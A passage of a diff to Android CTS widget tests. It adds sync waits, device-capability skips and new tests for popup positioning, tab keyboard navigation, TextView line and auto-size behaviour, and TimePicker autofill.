- mActivityRule.runOnUiThread(() -> mPopupWindow.update(4, 0, -1, -1, true));
+ mActivityRule.runOnUiThread(
+ () -> mPopupWindow.update(popupPos.x, popupPos.y, -1, -1, true));
mInstrumentation.waitForIdleSync();
assertTrue(mPopupWindow.isShowing());
@@ -989,8 +1002,8 @@
assertEquals(50, mPopupWindow.getHeight());
mPopupWindow.getContentView().getLocationOnScreen(sndXY);
- assertEquals(containingRect.left + viewInWindowXY[0] + 4, sndXY[0]);
- assertEquals(containingRect.top + viewInWindowXY[1], sndXY[1]);
+ assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], sndXY[0]);
+ assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], sndXY[1]);
dismissPopup();
}
@@ -1326,9 +1339,17 @@
for (int i = 0; i < 2; i++) {
final int orientation = orientationValues[i];
+ if (orientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+ && !hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) {
+ // skip test for devices not supporting portrait orientation
+ continue;
+ }
mActivity.runOnUiThread(() ->
mActivity.setRequestedOrientation(orientation));
mActivity.waitForConfigurationChanged();
+ // Wait for main thread to be idle to make sure layout and draw have been performed
+ // before continuing.
+ mInstrumentation.waitForIdleSync();
View parentWindowView = mActivity.getWindow().getDecorView();
int parentWidth = parentWindowView.getMeasuredWidth();
@@ -1397,6 +1418,9 @@
mPopupWindow.getContentView().getRootView(),
() -> container.scrollBy(deltaX, deltaY),
false /* force layout */);
+ // Since the first layout might have been caused by the original scroll event (and not by
+ // the anchor change), we need to wait until all traversals are done.
+ mInstrumentation.waitForIdleSync();
assertPopupLocation(originalLocation, deltaX, deltaY);
// Detach the anchor, the popup should stay in the same location.
@@ -1413,6 +1437,7 @@
mActivity.getWindow().getDecorView(),
() -> container.scrollBy(deltaX, deltaY),
true /* force layout */);
+ mInstrumentation.waitForIdleSync();
assertPopupLocation(originalLocation, deltaX, deltaY);
// Re-attach the anchor, the popup should snap back to the new anchor location.
@@ -1426,6 +1451,16 @@
@Test
public void testAnchorInPopup() throws Throwable {
+ DisplayMetrics displayMetrics = mActivity.getResources().getDisplayMetrics();
+ float dpWidth = displayMetrics.widthPixels / displayMetrics.density;
+ float dpHeight = displayMetrics.heightPixels / displayMetrics.density;
+ final int minDisplaySize = 320;
+ if (dpWidth < minDisplaySize || dpHeight < minDisplaySize) {
+ // On smaller screens the popups that this test is creating
+ // are not guaranteed to be properly aligned to their anchors.
+ return;
+ }
+
mPopupWindow = createPopupWindow(
mActivity.getLayoutInflater().inflate(R.layout.popup_window, null));
@@ -1519,6 +1554,10 @@
() -> container.scrollBy(deltaX, deltaY),
false /* force layout */);
+ // Since the first layout might have been caused by the original scroll event (and not by
+ // the anchor change), we need to wait until all traversals are done.
+ mInstrumentation.waitForIdleSync();
+
final int[] newPopupLocation = mPopupWindow.getContentView().getLocationOnScreen();
assertEquals(popupLocation[0] - deltaX, newPopupLocation[0]);
assertEquals(popupLocation[1] - deltaY, newPopupLocation[1]);
@@ -1573,6 +1612,10 @@
return window;
}
+ private boolean hasDeviceFeature(final String requiredFeature) {
+ return mContext.getPackageManager().hasSystemFeature(requiredFeature);
+ }
+
private void showPopup(int resourceId) throws Throwable {
mActivityRule.runOnUiThread(() -> {
if (mPopupWindow == null || mPopupWindow.isShowing()) {
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
index bebebf2..76415e8 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
@@ -359,6 +359,33 @@
assertTrue(button.getHeight() > 0);
}
+ @Test
+ public void testBidiWidth() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ mActivity.setContentView(R.layout.relative_layout_bidi);
+ mActivity.findViewById(R.id.relative_sublayout_bidi)
+ .setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final View ltrLayout = mActivity.findViewById(R.id.relative_sublayout_bidi);
+ assertNotNull(ltrLayout);
+ final int ltrWidth = ltrLayout.getWidth();
+
+ mActivityRule.runOnUiThread(() -> {
+ mActivity.setContentView(R.layout.relative_layout_bidi);
+ mActivity.findViewById(R.id.relative_sublayout_bidi)
+ .setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final View rtlLayout = mActivity.findViewById(R.id.relative_sublayout_bidi);
+ assertNotNull(rtlLayout);
+ final int rtlWidth = rtlLayout.getWidth();
+
+ assertEquals(ltrWidth, rtlWidth);
+ }
+
private class MyRelativeLayout extends RelativeLayout {
public MyRelativeLayout(Context context) {
super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/TabHostTest.java b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
index 765fd37..36f7108 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHostTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
@@ -35,6 +35,7 @@
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
import android.view.View;
import android.widget.ListView;
import android.widget.TabHost;
@@ -395,6 +396,49 @@
assertEquals(TAG_TAB2, tabHost.getCurrentTabTag());
}
+ @Test
+ public void testKeyboardNavigation() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ mActivity.setContentView(R.layout.tabhost_focus);
+ TabHost tabHost = mActivity.findViewById(android.R.id.tabhost);
+ tabHost.setup();
+ TabSpec spec = tabHost.newTabSpec("Tab 1");
+ spec.setContent(R.id.tab1);
+ spec.setIndicator("Tab 1");
+ tabHost.addTab(spec);
+ spec = tabHost.newTabSpec("Tab 2");
+ spec.setContent(R.id.tab2);
+ spec.setIndicator("Tab 2");
+ tabHost.addTab(spec);
+ View topBut = mActivity.findViewById(R.id.before_button);
+ topBut.requestFocus();
+ assertTrue(topBut.isFocused());
+ });
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+ View tabs = mActivity.findViewById(android.R.id.tabs);
+ assertTrue(tabs.hasFocus());
+ View firstTab = tabs.findFocus();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+ assertTrue(tabs.hasFocus());
+ int[] shiftKey = new int[]{KeyEvent.KEYCODE_SHIFT_LEFT};
+ sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+ assertTrue(tabs.hasFocus());
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+ assertTrue(tabs.hasFocus());
+
+ // non-navigation sends focus to content
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_E);
+ assertTrue(mActivity.findViewById(R.id.tab1_button).isFocused());
+ sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+ assertTrue(tabs.hasFocus());
+
+ mActivityRule.runOnUiThread(() -> firstTab.requestFocus());
+ mInstrumentation.waitForIdleSync();
+ sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+ assertTrue(mActivity.findViewById(R.id.before_button).isFocused());
+ }
+
private class MyTabContentFactoryText implements TabHost.TabContentFactory {
public View createTabContent(String tag) {
final TextView tv = new TextView(mActivity);
@@ -409,4 +453,48 @@
return lv;
}
}
+
+ private static int metaFromKey(int keyCode) {
+ switch(keyCode) {
+ case KeyEvent.KEYCODE_ALT_LEFT: return KeyEvent.META_ALT_LEFT_ON;
+ case KeyEvent.KEYCODE_ALT_RIGHT: return KeyEvent.META_ALT_RIGHT_ON;
+ case KeyEvent.KEYCODE_SHIFT_LEFT: return KeyEvent.META_SHIFT_LEFT_ON;
+ case KeyEvent.KEYCODE_SHIFT_RIGHT: return KeyEvent.META_SHIFT_RIGHT_ON;
+ case KeyEvent.KEYCODE_CTRL_LEFT: return KeyEvent.META_CTRL_LEFT_ON;
+ case KeyEvent.KEYCODE_CTRL_RIGHT: return KeyEvent.META_CTRL_RIGHT_ON;
+ case KeyEvent.KEYCODE_META_LEFT: return KeyEvent.META_META_LEFT_ON;
+ case KeyEvent.KEYCODE_META_RIGHT: return KeyEvent.META_META_RIGHT_ON;
+ }
+ return 0;
+ }
+
+ /**
+ * High-level method for sending a chorded key-combo (modifiers + key). This will send all the
+ * down and up key events as a user would press them (ie. all the modifiers get their own
+ * down and up events).
+ *
+ * @param keyCode The keycode to send while all meta keys are pressed.
+ * @param metaKeys An array of meta key *keycodes* (not modifiers).
+ */
+ private void sendKeyComboSync(int keyCode, int[] metaKeys) {
+ int metaState = 0;
+ if (metaKeys != null) {
+ for (int mk = 0; mk < metaKeys.length; ++mk) {
+ metaState |= metaFromKey(metaKeys[mk]);
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, metaKeys[mk],
+ 0, KeyEvent.normalizeMetaState(metaState)));
+ }
+ }
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, keyCode, 0,
+ KeyEvent.normalizeMetaState(metaState)));
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_UP, keyCode, 0,
+ KeyEvent.normalizeMetaState(metaState)));
+ if (metaKeys != null) {
+ for (int mk = 0; mk < metaKeys.length; ++mk) {
+ metaState &= ~metaFromKey(metaKeys[mk]);
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_UP, metaKeys[mk], 0,
+ KeyEvent.normalizeMetaState(metaState)));
+ }
+ }
+ }
}
diff --git a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
index c798a0e..7af7af9 100644
--- a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
@@ -23,8 +23,10 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
+import android.app.Instrumentation;
import android.content.Context;
import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
@@ -52,6 +54,7 @@
public class TabWidgetTest {
private TabHostCtsActivity mActivity;
private TabWidget mTabWidget;
+ private Instrumentation mInstrumentation;
@Rule
public ActivityTestRule<TabHostCtsActivity> mActivityRule =
@@ -59,6 +62,7 @@
@Before
public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivity = mActivityRule.getActivity();
mTabWidget = mActivity.getTabWidget();
}
@@ -289,38 +293,55 @@
assertFalse(mTabWidget.isStripEnabled());
}
- @UiThreadTest
@Test
- public void testStripDrawables() {
+ public void testStripDrawables() throws Throwable {
+ mTabWidget.setStripEnabled(true);
+
// Test setting left strip drawable
- mTabWidget.setLeftStripDrawable(R.drawable.icon_green);
+ mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(R.drawable.icon_green));
Drawable leftStripDrawable = mTabWidget.getLeftStripDrawable();
assertNotNull(leftStripDrawable);
TestUtils.assertAllPixelsOfColor("Left strip green", leftStripDrawable,
leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
true, 0xFF00FF00, 1, false);
- mTabWidget.setLeftStripDrawable(mActivity.getDrawable(R.drawable.icon_red));
+ mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(
+ mActivity.getDrawable(R.drawable.icon_red)));
leftStripDrawable = mTabWidget.getLeftStripDrawable();
assertNotNull(leftStripDrawable);
TestUtils.assertAllPixelsOfColor("Left strip red", leftStripDrawable,
leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
true, 0xFFFF0000, 1, false);
+ mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(null));
+ leftStripDrawable = mTabWidget.getLeftStripDrawable();
+ assertNull(leftStripDrawable);
+
+ // Wait for draw.
+ mInstrumentation.waitForIdleSync();
+
// Test setting right strip drawable
- mTabWidget.setRightStripDrawable(R.drawable.icon_red);
+ mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(R.drawable.icon_red));
Drawable rightStripDrawable = mTabWidget.getRightStripDrawable();
assertNotNull(rightStripDrawable);
TestUtils.assertAllPixelsOfColor("Right strip red", rightStripDrawable,
rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
true, 0xFFFF0000, 1, false);
- mTabWidget.setRightStripDrawable(mActivity.getDrawable(R.drawable.icon_green));
+ mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(
+ mActivity.getDrawable(R.drawable.icon_green)));
rightStripDrawable = mTabWidget.getRightStripDrawable();
assertNotNull(rightStripDrawable);
TestUtils.assertAllPixelsOfColor("Left strip green", rightStripDrawable,
rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
true, 0xFF00FF00, 1, false);
+
+ mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(null));
+ rightStripDrawable = mTabWidget.getRightStripDrawable();
+ assertNull(rightStripDrawable);
+
+ // Wait for draw.
+ mInstrumentation.waitForIdleSync();
}
@UiThreadTest
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index b87a36f..367ed40 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -26,7 +26,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.mockito.Matchers.any;
-import static org.mockito.Matchers.anyInt;
import static org.mockito.Matchers.eq;
import static org.mockito.Matchers.refEq;
import static org.mockito.Mockito.doAnswer;
@@ -188,6 +187,19 @@
private static final int SMARTSELECT_START = 0;
private static final int SMARTSELECT_END = 40;
+ private static final TextClassifier FAKE_TEXT_CLASSIFIER = new TextClassifier() {
+ @Override
+ public TextSelection suggestSelection(
+ CharSequence text, int start, int end, LocaleList locales) {
+ return new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build();
+ }
+
+ @Override
+ public TextClassification classifyText(
+ CharSequence text, int start, int end, LocaleList locales) {
+ return new TextClassification.Builder().build();
+ }
+ };
private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
private CharSequence mTransformedText;
@@ -982,6 +994,30 @@
}
@Test
+ public void testSetMaxLines_toZero_shouldNotDisplayAnyLines() throws Throwable {
+ mTextView = findTextView(R.id.textview_text);
+ mActivityRule.runOnUiThread(() -> {
+ mTextView.setPadding(0, 0, 0, 0);
+ mTextView.setText("Single");
+ mTextView.setMaxLines(0);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final int expectedHeight = mTextView.getTotalPaddingBottom()
+ + mTextView.getTotalPaddingTop();
+
+ assertEquals(expectedHeight, mTextView.getHeight());
+
+ mActivityRule.runOnUiThread(() -> mTextView.setText("Two\nLines"));
+ mInstrumentation.waitForIdleSync();
+ assertEquals(expectedHeight, mTextView.getHeight());
+
+ mActivityRule.runOnUiThread(() -> mTextView.setTextIsSelectable(true));
+ mInstrumentation.waitForIdleSync();
+ assertEquals(expectedHeight, mTextView.getHeight());
+ }
+
+ @Test
public void testWidth() throws Throwable {
mTextView = findTextView(R.id.textview_text);
int originalWidth = mTextView.getWidth();
@@ -3580,7 +3616,8 @@
mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
mInstrumentation.waitForIdleSync();
- final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+ final float horizontalPosFix = (float) Math.ceil(
+ mTextView.getPaint().measureText("a") * 2f / 3f);
final int paddingTop = mTextView.getTotalPaddingTop();
final int paddingLeft = mTextView.getTotalPaddingLeft();
@@ -3594,7 +3631,7 @@
assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
// right edge of text
- x = mTextView.getLayout().getLineWidth(0) + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(0) + paddingLeft - horizontalPosFix;
assertEquals(lastOffset, mTextView.getOffsetForPosition(x, y));
// right edge of view
@@ -3606,7 +3643,7 @@
assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
// horizontal center of text
- x = mTextView.getLayout().getLineWidth(0) / 2f + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(0) / 2f + paddingLeft - horizontalPosFix;
assertEquals(midOffset, mTextView.getOffsetForPosition(x, y));
}
@@ -3640,7 +3677,8 @@
final Rect lineBounds = new Rect();
mTextView.getLayout().getLineBounds(0, lineBounds);
- final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+ final float horizontalPosFix = (float) Math.ceil(
+ mTextView.getPaint().measureText("a") * 2f / 3f);
final int paddingTop = mTextView.getTotalPaddingTop();
final int paddingLeft = mTextView.getTotalPaddingLeft();
@@ -3662,7 +3700,7 @@
assertEquals(line.length(), mTextView.getOffsetForPosition(x, y));
// right edge of text at second line
- x = mTextView.getLayout().getLineWidth(1) + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(1) + paddingLeft - horizontalPosFix;
assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
// right edge of view at second line
@@ -3670,7 +3708,7 @@
assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
// horizontal center of text at second line
- x = mTextView.getLayout().getLineWidth(1) / 2f + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(1) / 2f + paddingLeft - horizontalPosFix;
// second line mid offset should not include next line, therefore subtract one
assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
}
@@ -3705,8 +3743,8 @@
final Rect lineBounds = new Rect();
mTextView.getLayout().getLineBounds(0, lineBounds);
- final float halfCharWidth = (float) Math.ceil(
- mTextView.getPaint().measureText("\u0635") / 2f);
+ final float horizontalPosFix = (float) Math.ceil(
+ mTextView.getPaint().measureText("\u0635") * 2f / 3f);
final int paddingTop = mTextView.getTotalPaddingTop();
final int paddingRight = mTextView.getTotalPaddingRight();
@@ -3733,12 +3771,12 @@
// left edge of text at second line
x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) + paddingRight
- - halfCharWidth);
+ - horizontalPosFix);
assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
// horizontal center of text at second line
x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) / 2f + paddingRight
- - halfCharWidth);
+ - horizontalPosFix);
// second line mid offset should not include next line, therefore subtract one
assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
}
@@ -6786,6 +6824,31 @@
}
@Test
+ public void testAutoSizeCallers_setTransformationMethod() throws Throwable {
+ final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+ R.id.textview_autosize_uniform, false);
+ // Mock transformation method to return the duplicated input text in order to measure
+ // auto-sizing.
+ TransformationMethod duplicateTextTransformationMethod = mock(TransformationMethod.class);
+ when(duplicateTextTransformationMethod
+ .getTransformation(any(CharSequence.class), any(View.class)))
+ .thenAnswer(invocation -> {
+ CharSequence source = (CharSequence) invocation.getArguments()[0];
+ return new StringBuilder().append(source).append(source).toString();
+ });
+
+ mActivityRule.runOnUiThread(() ->
+ autoSizeTextView.setTransformationMethod(null));
+ mInstrumentation.waitForIdleSync();
+ final float initialTextSize = autoSizeTextView.getTextSize();
+ mActivityRule.runOnUiThread(() ->
+ autoSizeTextView.setTransformationMethod(duplicateTextTransformationMethod));
+ mInstrumentation.waitForIdleSync();
+
+ assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+ }
+
+ @Test
public void testAutoSizeCallers_setCompoundDrawables() throws Throwable {
final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
R.id.textview_autosize_uniform, false);
@@ -6964,11 +7027,53 @@
public void testAutoSizeCallers_setMaxLines() throws Throwable {
final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
R.id.textview_autosize_uniform, false);
- final float initialTextSize = autoSizeTextView.getTextSize();
- mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(1));
+ // Configure layout params and auto-size both in pixels to dodge flakiness on different
+ // devices.
+ final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+ 200, 200);
+ final String text = "one\ntwo\nthree\nfour\nfive\nsix\nseven\neight\nnine\nten";
+ mActivityRule.runOnUiThread(() -> {
+ autoSizeTextView.setLayoutParams(layoutParams);
+ autoSizeTextView.setAutoSizeTextTypeUniformWithConfiguration(
+ 1 /* autoSizeMinTextSize */,
+ 5000 /* autoSizeMaxTextSize */,
+ 1 /* autoSizeStepGranularity */,
+ TypedValue.COMPLEX_UNIT_PX);
+ autoSizeTextView.setText(text);
+ });
mInstrumentation.waitForIdleSync();
- assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+ float initialSize = 0;
+ for (int i = 1; i < 10; i++) {
+ final int maxLines = i;
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines));
+ mInstrumentation.waitForIdleSync();
+ float expectedSmallerSize = autoSizeTextView.getTextSize();
+ if (i == 1) {
+ initialSize = expectedSmallerSize;
+ }
+
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines + 1));
+ mInstrumentation.waitForIdleSync();
+ assertTrue(expectedSmallerSize <= autoSizeTextView.getTextSize());
+ }
+ assertTrue(initialSize < autoSizeTextView.getTextSize());
+
+ initialSize = Integer.MAX_VALUE;
+ for (int i = 10; i > 1; i--) {
+ final int maxLines = i;
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines));
+ mInstrumentation.waitForIdleSync();
+ float expectedLargerSize = autoSizeTextView.getTextSize();
+ if (i == 10) {
+ initialSize = expectedLargerSize;
+ }
+
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines - 1));
+ mInstrumentation.waitForIdleSync();
+ assertTrue(expectedLargerSize >= autoSizeTextView.getTextSize());
+ }
+ assertTrue(initialSize > autoSizeTextView.getTextSize());
}
@Test
@@ -7640,17 +7745,10 @@
private void initializeTextForSmartSelection(CharSequence text) throws Throwable {
assertTrue(text.length() >= SMARTSELECT_END);
- TextClassifier mockClassifier = mock(TextClassifier.class);
- when(mockClassifier.suggestSelection(
- any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
- .thenReturn(new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build());
- when(mockClassifier.classifyText(
- any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
- .thenReturn(new TextClassification.Builder().build());
mActivityRule.runOnUiThread(() -> {
mTextView.setTextIsSelectable(true);
mTextView.setText(text);
- mTextView.setTextClassifier(mockClassifier);
+ mTextView.setTextClassifier(FAKE_TEXT_CLASSIFIER);
mTextView.requestFocus();
});
mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
index e66fc70..0886aa3 100644
--- a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.reset;
@@ -39,6 +40,7 @@
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.View;
+import android.view.autofill.AutofillValue;
import android.widget.TimePicker;
import com.android.compatibility.common.util.CtsKeyEventUtil;
@@ -50,7 +52,10 @@
import org.junit.runner.RunWith;
import java.util.ArrayList;
+import java.util.Calendar;
import java.util.Collections;
+import java.util.GregorianCalendar;
+import java.util.concurrent.atomic.AtomicInteger;
/**
* Test {@link TimePicker}.
@@ -115,9 +120,59 @@
mTimePicker.setEnabled(false);
assertFalse(mTimePicker.isEnabled());
+ assertNull(mTimePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_NONE, mTimePicker.getAutofillType());
mTimePicker.setEnabled(true);
assertTrue(mTimePicker.isEnabled());
+ assertNotNull(mTimePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_DATE, mTimePicker.getAutofillType());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testAutofill() {
+ mTimePicker.setEnabled(true);
+
+ final AtomicInteger numberOfListenerCalls = new AtomicInteger();
+ mTimePicker.setOnTimeChangedListener((v, h, m) -> numberOfListenerCalls.incrementAndGet());
+
+ final Calendar calendar = new GregorianCalendar();
+ calendar.set(Calendar.HOUR_OF_DAY, 4);
+ calendar.set(Calendar.MINUTE, 20);
+
+ final AutofillValue autofilledValue = AutofillValue.forDate(calendar.getTimeInMillis());
+ mTimePicker.autofill(autofilledValue);
+ assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+ assertEquals(4, mTimePicker.getHour());
+ assertEquals(20, mTimePicker.getMinute());
+ assertEquals(1, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is null.
+ numberOfListenerCalls.set(0);
+ mTimePicker.autofill((AutofillValue) null);
+ assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+ assertEquals(4, mTimePicker.getHour());
+ assertEquals(20, mTimePicker.getMinute());
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is not a date.
+ numberOfListenerCalls.set(0);
+ mTimePicker.autofill(AutofillValue.forText("Y U NO IGNORE ME?"));
+ assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+ assertEquals(4, mTimePicker.getHour());
+ assertEquals(20, mTimePicker.getMinute());
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure getAutofillValue() is reset when value is manually filled.
+ mTimePicker.autofill(autofilledValue); // 04:20
+ mTimePicker.setHour(10);
+ calendar.setTimeInMillis(mTimePicker.getAutofillValue().getDateValue());
+ assertEquals(10, calendar.get(Calendar.HOUR));
+ mTimePicker.autofill(autofilledValue); // 04:20
+ mTimePicker.setMinute(8);
+ calendar.setTimeInMillis(mTimePicker.getAutofillValue().getDateValue());
+ assertEquals(8, calendar.get(Calendar.MINUTE));
}
@UiThreadTest
@@ -498,6 +553,12 @@
prepareForKeyboardInput(initialHour, initialMinute, false /* is24hFormat */,
false /* isClockMode */);
+ // when testing on device with lower resolution, the Spinner mode time picker may not show
+ // completely, which will cause case fail, so in this case remove the clock time picker to
+ // focus on the test of Spinner mode
+ final TimePicker clock = mActivity.findViewById(R.id.timepicker_clock);
+ mActivityRule.runOnUiThread(() -> clock.setVisibility(View.GONE));
+
assertEquals(initialHour, mTimePicker.getHour());
mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
mInstrumentation.waitForIdleSync();
@@ -610,6 +671,12 @@
prepareForKeyboardInput(initialHour, initialMinute, true /* is24hFormat */,
false /* isClockMode */);
+ // when testing on device with lower resolution, the Spinner mode time picker may not show
+ // completely, which will cause case fail, so in this case remove the clock time picker to
+ // focus on the test of Spinner mode
+ final TimePicker clock = mActivity.findViewById(R.id.timepicker_clock);
+ mActivityRule.runOnUiThread(() -> clock.setVisibility(View.GONE));
+
assertEquals(initialHour, mTimePicker.getHour());
mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index 81d315f..8f70c2a 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -21,9 +21,12 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PACKAGE_NAME := CtsWrapNoWrapTestCases
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index 5d7db34..1ca2369 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS No Wrap test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index 2bfb7a5..7299f02 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -21,9 +21,12 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
